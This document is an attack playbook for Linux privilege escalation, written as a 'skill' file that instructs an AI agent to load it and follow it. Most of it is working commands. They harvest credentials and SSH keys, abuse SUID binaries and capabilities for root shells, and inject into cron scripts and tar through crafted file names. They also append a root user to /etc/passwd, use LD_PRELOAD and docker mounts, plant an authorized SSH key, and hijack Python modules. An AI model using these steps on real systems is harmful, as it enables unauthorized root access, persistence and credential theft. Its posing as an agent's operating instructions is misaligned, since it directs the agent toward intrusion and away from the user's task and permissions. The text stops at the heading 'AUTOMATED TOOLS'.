Linux Privilege Escalation

SKILL: Linux Privilege Escalation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.

0. RELATED ROUTING

Before going deep, consider loading:

• container-escape-techniques when the target is a container and you need to escape to host
• linux-security-bypass when facing restricted shells, AppArmor, SELinux, or seccomp
• linux-lateral-movement after obtaining root for pivoting to adjacent hosts
• kubernetes-pentesting when the host is a Kubernetes node

Advanced Reference

Also load SUID_CAPABILITIES_TRICKS.md when you need:

• Top 30 SUID binaries with exact exploitation commands (GTFOBins)
• Capability-specific exploitation for each dangerous cap
• Custom SUID binary exploitation methodology

Also load KERNEL_EXPLOITS_CHECKLIST.md when you need:

• Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
• Exploit compilation tips and cross-compilation notes
• Kernel exploit stability assessment

1. ENUMERATION CHECKLIST

Run these immediately after landing a shell:

System Info

uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context

Sudo & SUID/SGID

sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities

Cron & Timers

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers

Writable Files & Dirs

find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs

Network & Services

ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)

Credential Locations

cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

2. SUID/SGID EXPLOITATION

GTFOBins Methodology

1. Find SUID binaries: find / -perm -4000 -type f 2>/dev/null
2. Cross-reference each with GTFOBins
3. Use the "SUID" section specifically — not all binary abuse works with SUID

Quick-Win SUID Escalations

Shared Library Hijacking (SUID Binary)

ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")

3. CAPABILITIES ABUSE

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

4. CRON / TIMER ABUSE

Writable Cron Scripts

# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p

PATH Hijacking in Cron

# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh

Wildcard Injection (tar)

# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments

pspy — Monitor Processes Without Root

# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes

5. NFS NO_ROOT_SQUASH

# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell

6. WRITABLE /etc/passwd OR /etc/shadow

Writable /etc/passwd

# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)

Writable /etc/shadow

# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow

7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO

# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary

8. DOCKER GROUP → ROOT

# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'

9. PYTHON / PERL / RUBY LIBRARY HIJACKING

# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation

10. AUTOMATED TOOLS